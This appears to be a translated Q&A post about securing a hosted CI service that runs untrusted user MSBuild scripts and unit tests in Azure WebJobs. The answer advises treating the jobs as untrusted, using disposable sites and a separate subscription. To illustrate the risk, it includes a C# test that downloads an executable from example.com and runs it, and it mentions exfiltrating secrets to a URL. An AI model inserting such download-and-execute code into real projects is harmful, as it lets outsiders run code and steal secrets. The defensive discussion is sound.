如何保护azure webjob代码执行?

时间:2015-08-08 16:56:03

标签: security azure msbuild azure-webjobs

我正在构建一个允许用户执行msbuild脚本和可执行文件的产品(nunit,nuget,vs-test等)。它是托管的持续集成服务。这些任务在azure webjob的上下文中运行。我该怎么做才能阻止用户运行恶意代码?

我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本运行他们想要的任何内容。有什么我可以做的,以防止他们伤害我的webjob或运行"坏" EXE文件?

1 个答案:

答案 0 :(得分:2)

我不确定您在寻找这个问题的范围是什么。但我并不认为有一种简单的方法可以解决WebJobs特有的问题。它必须是你在系统设计中要注意的事情。

  

我们不允许用户直接运行可执行文件

这不是真的。如果您正在运行用户代码,则无法再进行此操作。没有什么能阻止我写这样的单元测试,对吗?

[Test]
public static RunRandomExe()
{
    var webClient = new WebClient();
    webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe");
    Process.Start(@"%temp%\random.exe");
}

如果您在app app settings或env vars中有秘密,那么没有什么可以阻止单元测试读取它们并将它们发送到随机URL。

您可以做的最好的事情是以假设WebJob完全不受信任的方式设计您的系统。您必须假设您在AppSettings,环境变量,文件系统等中放置的任何秘密都可供WebJob访问。 WebJob留下的任何工件都可以在后续运行中访问,WebJob对机器所做的更改将影响后续的WebJobs等。哎呀,单元测试可以在机器上创建另一个WebJob,可以运行并完全监视/接管你的网站。

然而,好消息是Azure Web Apps 保证单独的Web应用程序彼此完全隔离,并且在非常紧凑的沙盒环境中运行,即使它们在同一物理VM上运行(即:在相同的应用服务计划中)

所以如果你:

  1. 创建网站
  2. 运行webjob
  3. 删除网站
  4. 您确定不会影响您的系统。

    这当然没有解决让WebJob访问机密的问题。唯一的解决方案是不给WebJob任何秘密访问权限。把整件事视为不信任。因此,您可以拥有一个为您运行作业的站点池,您可以触发作业运行,仅信任作业的原始日志输出,并从池中删除该站点并创建该站点的替换。在主订阅中的站点中运行不受信任的代码的一个主要问题是,您将不受信任的代码访问从Azure门户上载到您的订阅的任何证书。因此,您必须在完全独立订阅的网站中运行这些不受信任的内容。

    我知道这是一个很大的麻烦,但我无法想到任何可以保证系统和用户安全的其他方式。如果您要运行不受信任的代码,那么您将面临复杂的世界。

    我希望有所帮助。